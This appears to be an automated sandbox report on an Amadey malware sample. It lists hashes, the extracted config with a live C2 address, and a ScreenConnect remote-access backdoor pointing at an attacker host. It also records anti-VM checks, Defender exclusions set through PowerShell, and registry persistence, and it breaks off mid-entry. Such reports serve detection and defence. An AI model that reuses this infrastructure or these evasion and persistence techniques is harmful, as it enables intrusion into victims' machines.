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Analysis
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max time kernel
148s -
max time network
154s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
19/12/2024, 21:09
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win7-20240903-en
General
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Target
file.exe
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Size
2.9MB
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MD5
cd7686b11754d77b8722880a1a3a9a43
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SHA1
ea1c00d2985812539452a31d8f75506573dad692
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SHA256
a3d6d7eea1a9270e20be65394c942207078daac5952a12a9404dd4c557fd2944
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SHA512
64d095a52c5a9987cbdbe00c95cd96db67d5bf9faa9a53c1132eab27be7d0d8b7adf209195db8b925c6453ada759165ecfc8c1a5ac4f3ea7d3427fea2b643cab
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SSDEEP
49152:30HhKY2JwV6AskokjOnIY/cy6oMjYnJpY2Q2AM6J6OK:3mAJwV6AsFkiIycy6odnJ1Q2AM6J6O
Malware Config
Extracted
amadey
4.42
9c9aa5
http://185.215.113.43
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install_dir
abc3bc1985
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install_file
skotes.exe
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strings_key
8a35cf2ea38c2817dba29a4b5b25dcf0
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url_paths
/Zu7JuNko/index.php
Signatures
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Amadey family
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Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ file.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ skotes.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2180 powershell.exe 1268 powershell.exe -
Downloads MZ/PE file
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Sets service image path in registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\ScreenConnect Client (98a59bd0eed9222b)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (98a59bd0eed9222b)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=gips620.top&p=8880&s=70262228-5627-4806-9fc4-9b926d984aea&k=BgIAAACkAABSU0ExAAgAAAEAAQDpOwIVy34yVx7xLDnH6rBeYx7mmiLN2yQyIYdJTxYIVHOsytxx89D0YKoH68EoEXToTuDpMmwJb%2bhrlJ3faNFTpvu7W8w3%2fxYUdeWuXWg%2bTQxXr6EWby912nykdroWfBxDx6Lmxg1gxGgRJHC8Oc96zV%2fiaqo5GlyagtszKkrbPOWW4FBVQPXhlUfH4mlFE0i0vcMxGginTYl8IjGBzr94ANeAXwajoe9Cjam2haoL%2f%2bgHMtFYBZJisALFnyX3zECpRv7vqWzNAQJYIqY6qDuC2lEbs0NtuBMSfQRW1t0ZOk7cEzuQjq72QbWf1bR8rZf%2b0t3VNSgkIUcBljvpSRK7&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAWO%2bQQzPisESpvHzF3CteWAAAAAACAAAAAAAQZgAAAAEAACAAAADE0FkbjgFed4aJv3zTv3CuBtb4%2f31rf6DvzvHEpIG%2fYgAAAAAOgAAAAAIAACAAAAC2QT4MWyscbT3qUtJrXV8n7%2bTFXw%2b5yq3vlwrUj9ILtaAEAADeenSXJ%2f48tVC%2foOgv7a36Fp1ey2EX2ZrjFtxaohnT58gDZ%2bHS4rKza2t0n%2bjuBoQy90TPrYQDqJsuNg%2bYVvsAVrGyZ3kof3IlkVYcDspYconx3Qt1niYZV7sEun2r%2b0NHPoqAi0Xjs5G4FRM0SBh7RrSiNcyZM89dcFDWCgFZwqegt0qni%2bsNyOlqQDPpgOUE%2bwp9SncC%2bmFheOevVaVlAm8VdEyG%2fnYCsaRBZEfdSHkZUMZs9dwbZSPmqAp3fD9nOPhrg2XVUHuGbjsOKH84odoTRdmKj3b0zhzRYufncQFtrUx85MCXBcX5Lf2rTjPcexXh1OM1qq8fRL4TBhjNqpi4qXuKy5Z%2bhncwB4gWMo2sVqWTqjcJB6PVdO4q%2b9%2bUvAYkUJyiFaLVdh1nqFfFHwRyEoq0FFsnKRQGVTKZNLgsexf1zCZnF4YjYQiairnVM6Ub0sOBXdRptxORnUorCLO8%2bGZJGOZ39fp0hC9j6XEt4BQARqsUlgpL8pb1KE4hOyGGMhRQrFxY1cRoewDY%2fgvUGmZ8kIG7swoHZr40ynitRlUsaULabMXv5M6YbvQp0E%2bEHPPJ7O4sDxciRYn%2bzaEN6a9x1XoOTX2NZQZ6Cd%2fBJT0EWvrP8GPrLZg%2fxDzLLaLi1GqHlcnnAaIzYyuZOVwLj8cylcBo9y1bzP97SPmtr4n0UzN1g0x9plKHjFKTwz4egUNYDO%2fgL5Mj%2bKR%2byk1HuxImmd9W5rP%2fg74cFhl7IR0pfTjx1tgQQtDNnc9mco5i%2f54BObJr99T%2foI02M6ddAfoe%2f3kk2yLfmQq4JJAQk7XTk8ksHnVID9yltKD0uUloBuZ0B2hbYZBfTsETuce75CBUgPUVQhvOwXL1zWnt6b3OrV0SpDVJPD1DgppLkRHHajd7G%2fwHNqezprOYU0xIibeqx5pTihUI7hBqBTPNgoZyjW95t%2braJhiU%2fnHIAwPizrV6dAYjOPapYKHBfzRYsUgi0EJTSAnyV4M8ijBQbnY3ubKZMEN%2b6LLdPZkFzMLYaeldoRXu%2f7C8vvzU0pDAzM3y4Dsz0mFHsXjNvER82AT6R7c32%2fvq6hiRIjAszgjAqdZNiBL%2bhjHU8YwIMfgSWMEDmD4K%2fRMGrX%2batHsBAvKWJJigs8%2f3zv86Oq5G%2f9EY56aA9CClf5mjHmBUlDB9cpj44Egtq2tnUib0M8iYdwjK050S3BNrlQyFQrLNRfNhV5yC%2bygvJw5i3He7KCe73FB2AQQR6uUkXZDnNEGj9nX6oyXJnGt8jX28ykxGJwwccWw9JTiyll9w%2fBGzYsh4WdcHZ9snKSS7HWxHS9zXLqGIboPqPlEveNLvdjrbELdjKKBhyZ6e57wbnFCeG6ktao1Wv%2fWjoZxbeqHjlN2htjkBnL1Q14NWqObedGppWj8P%2by2k9SqTzSkwcZW7MomW0rg89HqvnnIv2Y8f7FoKMCil0GzFkCnep2sp%2fXVJp5d4r%2bMcFhm2nl4pf8N%2fdB9ucNJVftrVARdBFFSh0dlkFcPQNYZ3NJ%2bOVhmFrvyyqQVt5AjsyM7NKvtFFC3LWI7alLgBS37k0RMINN5YekAAAACZ9zOOVuTl9TJ82mPRUjkp2alBvsvOUWk2zoQzM5tVfFoqNHg8YZYIxQyGAbJ4nzlAEbuDiKlmSFbbzioNah2c&c=VIRUS101&c=https%3a%2f%2ft.me%2fvirus101Screenconnect&c=PC%20RAT&c=PC%20RAT&c=&c=&c=&c=\"" ScreenConnect.ClientService.exe -
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion skotes.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion skotes.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion file.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion file.exe -
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
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Executes dropped EXE 11 IoCs
pid Process 2888 skotes.exe 2540 zudFSfy.exe 748 kz8ZdyP.exe 2172 NN9Dd7c.exe 2376 zudFSfy.exe 2956 kz8ZdyP.exe 9832 ga70pjP.exe 6232 ScreenConnect.ClientService.exe 7280 ScreenConnect.WindowsClient.exe 3924 ScreenConnect.WindowsClient.exe 3152 INOKWGC.exe -
Identifies Wine through registry keys 2 TTPs 2 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Wine file.exe Key opened \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Wine skotes.exe -
Loads dropped DLL 35 IoCs
pid Process 2848 file.exe 2888 skotes.exe 2888 skotes.exe 2888 skotes.exe 2888 skotes.exe 2888 skotes.exe 2540 zudFSfy.exe 748 kz8ZdyP.exe 2888 skotes.exe 10000 MsiExec.exe 10044 rundll32.exe 10044 rundll32.exe 10044 rundll32.exe 10044 rundll32.exe 10044 rundll32.exe 10044 rundll32.exe 10044 rundll32.exe 10044 rundll32.exe 10044 rundll32.exe 5432 MsiExec.exe 6116 MsiExec.exe 6232 ScreenConnect.ClientService.exe 6232 ScreenConnect.ClientService.exe 6232 ScreenConnect.ClientService.exe 6232 ScreenConnect.ClientService.exe 6232 ScreenConnect.ClientService.exe 6232 ScreenConnect.ClientService.exe 6232 ScreenConnect.ClientService.exe 6232 ScreenConnect.ClientService.exe 6232 ScreenConnect.ClientService.exe 6232 ScreenConnect.ClientService.exe 6232 ScreenConnect.ClientService.exe 6232 ScreenConnect.ClientService.exe 6232 ScreenConnect.ClientService.exe 2888 skotes.exe -
Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\M: msiexec.exe -
Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs
Suspicious Windows Authentication Registry Modification.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800390038006100350039006200640030006500650064003900320032003200620029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000 msiexec.exe -
Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (98a59bd0eed9222b)\cgnwbrtf.tmp ScreenConnect.ClientService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (98a59bd0eed9222b)\cgnwbrtf.newcfg ScreenConnect.ClientService.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 2848 file.exe 2888 skotes.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2540 set thread context of 2376 2540 zudFSfy.exe 41 PID 748 set thread context of 2956 748 kz8ZdyP.exe 43 -
Drops file in Program Files directory 19 IoCs
description ioc Process File created C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsAuthenticationPackage.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsBackstageShell.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsBackstageShell.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsCredentialProvider.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsFileManager.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\Client.Override.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\system.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\app.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\Client.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsFileManager.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\Client.Override.resources msiexec.exe -
Drops file in Windows directory 16 IoCs
description ioc Process File opened for modification C:\Windows\INF\setupapi.dev.log DrvInst.exe File created C:\Windows\Installer\f77ef4e.msi msiexec.exe File opened for modification C:\Windows\Installer\f77ef4e.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIF152.tmp msiexec.exe File created C:\Windows\Installer\f77ef51.msi msiexec.exe File created C:\Windows\Installer\{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}\DefaultIcon msiexec.exe File opened for modification C:\Windows\INF\setupapi.ev1 DrvInst.exe File created C:\Windows\Installer\f77ef4f.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSIF2CB.tmp msiexec.exe File created C:\Windows\Installer\wix{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}.SchedServiceConfig.rmi MsiExec.exe File created C:\Windows\Tasks\skotes.job file.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\INF\setupapi.ev3 DrvInst.exe File opened for modification C:\Windows\Installer\MSIF122.tmp msiexec.exe File opened for modification C:\Windows\Installer\{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}\DefaultIcon msiexec.exe File opened for modification C:\Windows\Installer\f77ef4f.ipi msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 16 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language zudFSfy.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ga70pjP.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language file.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language kz8ZdyP.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language zudFSfy.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language NN9Dd7c.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language skotes.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language kz8ZdyP.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ScreenConnect.WindowsClient.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ScreenConnect.WindowsClient.exe -
Enumerates system info in registry 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU ScreenConnect.WindowsClient.exe -
Modifies data under HKEY_USERS 52 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates DrvInst.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" ScreenConnect.ClientService.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs DrvInst.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs DrvInst.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" ScreenConnect.ClientService.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs DrvInst.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.ClientService.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs DrvInst.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.WindowsClient.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs DrvInst.exe -
Modifies registry class 37 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\Assignment = "1" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\ProductIcon = "C:\\Windows\\Installer\\{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}\\DefaultIcon" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-98a59bd0eed9222b msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-03BC-F8663411820C}\InprocServer32 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\D32D1EE57AD9200EF07A7D4C08AB00DC msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\E2D8991B85D0C9C3895AB90DEE9D22B2 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\E2D8991B85D0C9C3895AB90DEE9D22B2\D32D1EE57AD9200EF07A7D4C08AB00DC msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-98a59bd0eed9222b\URL Protocol msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-98a59bd0eed9222b\shell\open\command msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\Version = "402849799" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\AdvertiseFlags = "388" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-98a59bd0eed9222b\shell msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-03BC-F8663411820C} msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-98a59bd0eed9222b\shell\open\command msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-98a59bd0eed9222b msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\SourceList\PackageName = "ScreenConnect.ClientSetup.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-98a59bd0eed9222b\shell\open msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-98a59bd0eed9222b\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (98a59bd0eed9222b)\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\SourceList msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\SourceList\Media\1 = ";" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-98a59bd0eed9222b\UseOriginalUrlEncoding = "1" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-03BC-F8663411820C}\ = "ScreenConnect Client (98a59bd0eed9222b) Credential Provider" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\ProductName = "ScreenConnect Client (98a59bd0eed9222b)" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\PackageCode = "D32D1EE57AD9200EF07A7D4C08AB00DC" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D32D1EE57AD9200EF07A7D4C08AB00DC\SourceList\LastUsedSource = 